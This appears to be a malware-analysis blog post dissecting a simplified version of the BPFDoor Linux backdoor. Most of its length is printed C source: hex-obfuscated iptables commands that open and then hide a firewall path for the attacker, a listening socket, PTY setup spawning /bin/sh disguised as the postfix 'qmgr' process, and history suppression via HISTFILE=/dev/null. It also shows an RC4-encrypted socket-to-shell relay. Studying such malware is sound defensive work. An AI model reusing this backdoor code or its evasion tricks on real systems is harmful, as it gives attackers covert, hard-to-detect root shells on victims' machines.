BPFDoor is a malware designed to monitor network traffics on (Linux-based) target machine for APT attacks. In this article, I aim to understand how the malware effectively hides itself while achieving a shell using a naive version of BPFDoor malware. Note that there are a lot of variant versions.
┌────────────────────┐ │ Attacker │ │ (Remote system) │ └────────┬───────────┘ │ │ [1] Exploits system vulnerability ▼ ┌─────────────────────────────┐ │ Victim Linux Machine │ │ (Gains root via exploit) │ └────────────┬────────────────┘ │ │ [2] Writes BPFDoor to /dev/shm/kdmtmpflush ▼ ┌────────────────────┐ │ BPFDoor binary │ │ (Runs as root) │ └────────┬───────────┘ │ │ [3] Opens raw PF_PACKET socket │ [4] Installs BPF filter to capture magic packet ▼ ┌────────────────────────────────────┐ │ Packet sniffer (stealth mode) │ │ - Captures only specific │ │ TCP/UDP/ICMP packets │ └────────┬──────────────────────-────┘ │ │ [5] Attacker sends "magic packet" ▼ ┌─────────────────────────────────────────────┐ │ Magic packet matched? │ │ If Yes → RC4 decrypt + passphrase check │ └────┬────────────────────────────────────────┘ │ │ [6] Forks child process ▼ ┌───────────────────────────────────────┐ │ Reverse shell setup with pseudo-TTY │ │ - Uses /dev/ptmx, sets TTY flags │ │ - Launches /bin/sh shell │ └────────┬────────────────────────────-─┘ │ │ [7] Optional iptables redirection ▼ ┌──────────────────────────────────────────────────────────────┐ │ Full interactive root shell via socket │ │ - Encrypted via RC4 │ │ - PTY ↔ socket data bridge (invisible, encrypted) │ └──────────────────────────────────────────────────────────────┘
At high-level, packet_loop()
calls getshell()
and getshell()
calls shell()
to obtain an interactive /bin/sh
.
getshell()
to make TCP connection for a reverse shellshell()
to create a pseudoterminal, execute /bin/sh
and relaying traffics between socket and a shell.[ Attacker ] ← socket → [ BPFDoor ] ↓ [ master PTY ] ↔ [ slave PTY (/dev/pts/N) ] ↓ [ dup2 to stdin/out/err ] ↓ [ /bin/sh ]
getshell(char *ip, int fromport)
analysis
char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};
char cmdfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
char rcmdfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
char inputfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
char dinputfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
The function prepares shell commands to modify iptables.
cmdfmt = /sbin/iptables -t nat -A PREROUTEING -p tcp -s <attacker ip> --dport <fromport> -j REDIRECT --to-ports <toport>
adds a redirection rule on NAT table in PREROUTING chain so that it redirects attacker's traffics fromport
to toport
.rcmdfmt = /sbin/iptables -t nat -D PREROUTING -p tcp -s <attacker ip> --dport <fromport> -j REDIRECT --to-ports <toport>
removes the rule added by cmdfmt
. It will be executed later by shell()
after a successful TCP connection.inputfmt = /sbin/iptables -I INPUT -p tcp -s <attacker ip> -j ACCEPT
adds an allow rule in INPUT chain to prevent the firewall blocking TCP connection.dinputfmt = /sbin/iptables -D INPUT -p tcp -s <attacker ip> -j ACCEPT
removes the rule added by inputfmt
. This command is also executed later by shell()
after a successful TCP connection.toport
and connects to a visible/familiar port such as 443 (fromport
) so that the connection looks normal. Better than directly binding to the hidden port (Not so visible by netstat and ss).
snprintf(cmd, sizeof(cmd), inputfmt, ip); // Construct cmd from inputfmt
snprintf(dcmd, sizeof(dcmd), dinputfmt, ip); // Construct dcmd from dinputfmt
system(cmd); // Add allow rule to accept attacker's traffic
sleep(1); // Wait briefly for the rule to take effect
memset(cmd, 0, sizeof(cmd));
snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport); // Construct cmd from cmdfmt
snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport); // Construct rcmd from rcmdfmt
system(cmd); // Add redirection rule
sleep(1); // Wait briefly for the rule to take effect
sockfd = b(&toport); // Function 'b' assigns a random ephemeral port and returns a socket
if (sockfd == -1) return;
Details of the function b()
:
int b(int *p)
{
int port;
struct sockaddr_in my_addr;
int sock_fd;
int flag = 1;
if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ){
return -1;
}
setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));
my_addr.sin_family = AF_INET;
my_addr.sin_addr.s_addr = 0;
for (port = 42391; port < 43391; port++) {
my_addr.sin_port = htons(port);
if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
continue;
}
if( listen(sock_fd,1) == 0 ) {
*p = port;
return sock_fd;
}
close(sock_fd);
}
return -1;
}
sock = w(sockfd); // Calls listen() + accept()
if (sock < 0) {
close(sock);
return;
}
Details of the function w()
:
int w(int sock)
{
socklen_t size;
struct sockaddr_in remote_addr;
int sock_id;
size = sizeof(struct sockaddr_in);
if( (sock_id = accept(sock,(struct sockaddr *)&remote_addr, &size)) == -1 ){
return -1;
}
close(sock);
return sock_id;
}
shell(sock, rcmd, dcmd);
After a successful TCP connection, it calls shell()
to launch pseudoterminal shell and removes firewall rules by passing rcmd
and dcmd
parameters. The details of shell()
function is described below.
int open_tty()
{
char pts_name[20];
pty = ptym_open(pts_name);
tty = ptys_open(pty,pts_name);
if (pty >= 0 && tty >=0 )
return 1;
return 0;
}
Opens an interactive pseudoterminal to provide a remote shell to the attacker. Unlike a simple pipe, a PTY offers an interactive interface for job control.
int ptym_open(char *pts_name)
{
char *ptr;
int fd;
strcpy(pts_name,"/dev/ptmx");
if ((fd = open(pts_name,O_RDWR)) < 0) {
return -1;
} // Opening /dev/ptmx, it creates a PTM/PTS pair and gets a file descriptor for a PTM, and PTS device is created (/dev/pts/N).
if (grantpt(fd) < 0) {
close(fd);
return -2;
} // Grants access to PTS device.
if (unlockpt(fd) < 0) {
close(fd);
return -3;
} // Unlocks PTS device.
if ((ptr = ptsname(fd)) == NULL) {
close(fd);
return -4;
}
strcpy(pts_name,ptr); // Store PTS device path as pts_name for future use.
return fd;
}
int ptys_open(int fd,char *pts_name)
{
int fds;
if ((fds = open(pts_name,O_RDWR)) < 0) {
close(fd);
return -5;
} // Opening PTS device.
if (ioctl(fds,I_PUSH,"ptem") < 0) {
return fds;
} // Push ptem(pseudoterminal emulation module) to PTS.
if (ioctl(fds,I_PUSH,"ldterm") < 0) {
return fds;
} // Push ldterm(line discipline module) to PTS.
if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
return fds;
} // Push ttcompat to PTS to provide compatibility with BSD-based terminal.
return fds;
}
● shell(int sock, char *rcmd, char *dcmd)
function analysis
subshell = fork(); // Create a childe process.
if (subshell == 0) {
close(pty); // Close the master pty. (Not needed since it only deals with I/O).
ioctl(tty, TIOCSCTTY); // Make the slave pty as a controlling terminal. Now it can transmit signals (e.g. SIGINT, SINTERM, SIGSTP, etc.)
close(sock); // No need for a child process to have sock opened.
dup2(tty, 0); // Set PTS to stdin
dup2(tty, 1); // Set PTS to stdout
dup2(tty, 2);// Set PTS to stderr
close(tty); // Not needed since PTS fd is copied to std I/O fds.
execve(sh, argvv, envp);
}
execve()
runs the shell (/bin/sh) with its stdio attached to the PTS. The details of sh, argvv
and envp
are given below:
char argx[] = {
0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; // qmgr -l -t fifo -u
char *argvv[] = {argx, NULL, NULL};
#define MAXENV 256
#define ENVLEN 256
char *envp[MAXENV];
char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // /bin/sh
char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; // HOME=/tmp
char ps[] = {
0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; // PS1=[\u@\h \W]\\$
char histfile[] = {
0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; // HISTFILE=/dev/null
char mshist[] = {
0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x46,
0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x75,
0x6c, 0x6c, 0x00}; // MYSQL_HISTFILE=/dev/null
char ipath[] = {
0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73,
0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a,
0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73,
0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e,
0x2f, 0x62, 0x69, 0x6e, 0x00}; // PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin
char term[] = "vt100";
envp[0] = home;
envp[1] = ps;
envp[2] = histfile;
envp[3] = mshist;
envp[4] = ipath;
envp[5] = term;
envp[6] = NULL;
We note that shell's argv is set to qmgr -l -t fifo -u
which is a process associated with mail(postfix) daemon. Moreover, the environment variables are set in a way that it effectively fakes the victim.
HOME=/tmp
: Set HOME to /tmpPS1=[\u@\h \W]\\$
: Fake shell promptHISTFILE=/dev/null
: Prevent shell history loggingMYSQL_HISTFILE=/dev/null
: Prevent mysql command loggingPATH=/bin:/usr/kerberos/sbin:...
: Define controlled binary search pathvt100(TERM)
: Set TERM variable if (rcmd != NULL)
system(rcmd);
if (dcmd != NULL)
system(dcmd);
Executes commands rcmd and dcmd - inputs as shell()
parameters.
rcmd: /sbin/iptables -t nat -D PREROUTING -p tcp -s <ip> --dport <fromport> -j REDIRECT --to-ports <toport>
dcmd: /sbin/iptables -D INPUT -p tcp -s <ip> -j ACCEPT
getshell()
and no suspicious rules can be found by iptables -L
. w(sockfd)
) during getshell()
call.
while (1) {
FD_ZERO(&fds); // Clears the set of fds for select()
FD_SET(pty, &fds); // To monitor PTM (shell's I/O stream)
FD_SET(sock, &fds); // To monitor attacker's socket
if (select((pty > sock) ? (pty+1) : (sock+1),
&fds, NULL, NULL, NULL) < 0)
{
break;
} // Wait for I/O Activity (until either PTM or socket becomes readable); break on error
if (FD_ISSET(pty, &fds)) {
int count;
count = read(pty, buf, BUF);
if (count <= 0) break;
if (cwrite(sock, buf, count) <= 0) break; // Also considers ==0 for shell closed
} // Once PTM is readable, read bytes(count) from the shell’s output
// cwrite() encrypt the data with RC4
if (FD_ISSET(sock, &fds)) {
int count;
unsigned char *p, *d;
d = (unsigned char *)buf;
count = cread(sock, buf, BUF);
if (count <= 0) break;
// cread() read data (encrypted RC4) from an attacker
p = memchr(buf, ECHAR, count);
// Finds ECHAR(0x0b), a vertical tab from attacker’s input
// ECHAR acts as a signal marker
if (p) {
// Resize terminal
// Terminal size arguments are given by 4 bytes after ECHAR
unsigned char wb[5];
int rlen = count - ((long) p - (long) buf);
struct winsize ws;
if (rlen > 5) rlen = 5;
memcpy(wb, p, rlen);
if (rlen < 5) {
ret = cread(sock, &wb[rlen], 5 - rlen);
}
ws.ws_xpixel = ws.ws_ypixel = 0;
ws.ws_col = (wb[1] << 8) + wb[2];
ws.ws_row = (wb[3] << 8) + wb[4];
ioctl(pty, TIOCSWINSZ, &ws);
kill(0, SIGWINCH);
// Write to PTM an attacker’s input before and after(+5 bytes) ECHAR
// Allows an attacker to send resize info with commands in one stream
ret = write(pty, buf, (long) p - (long) buf);
rlen = ((long) buf + count) - ((long)p+5);
if (rlen > 0) ret = write(pty, p+5, rlen);
} else
if (write(pty, d, count) <= 0) break;
}
}
We note that if any side of connection closes, it closes descriptors, kills subshell and calls vhangup()
to remove terminal association as noted in the part of shell()
function:
close(sock);
close(pty);
waitpid(subshell, NULL, 0);
vhangup();
exit(0);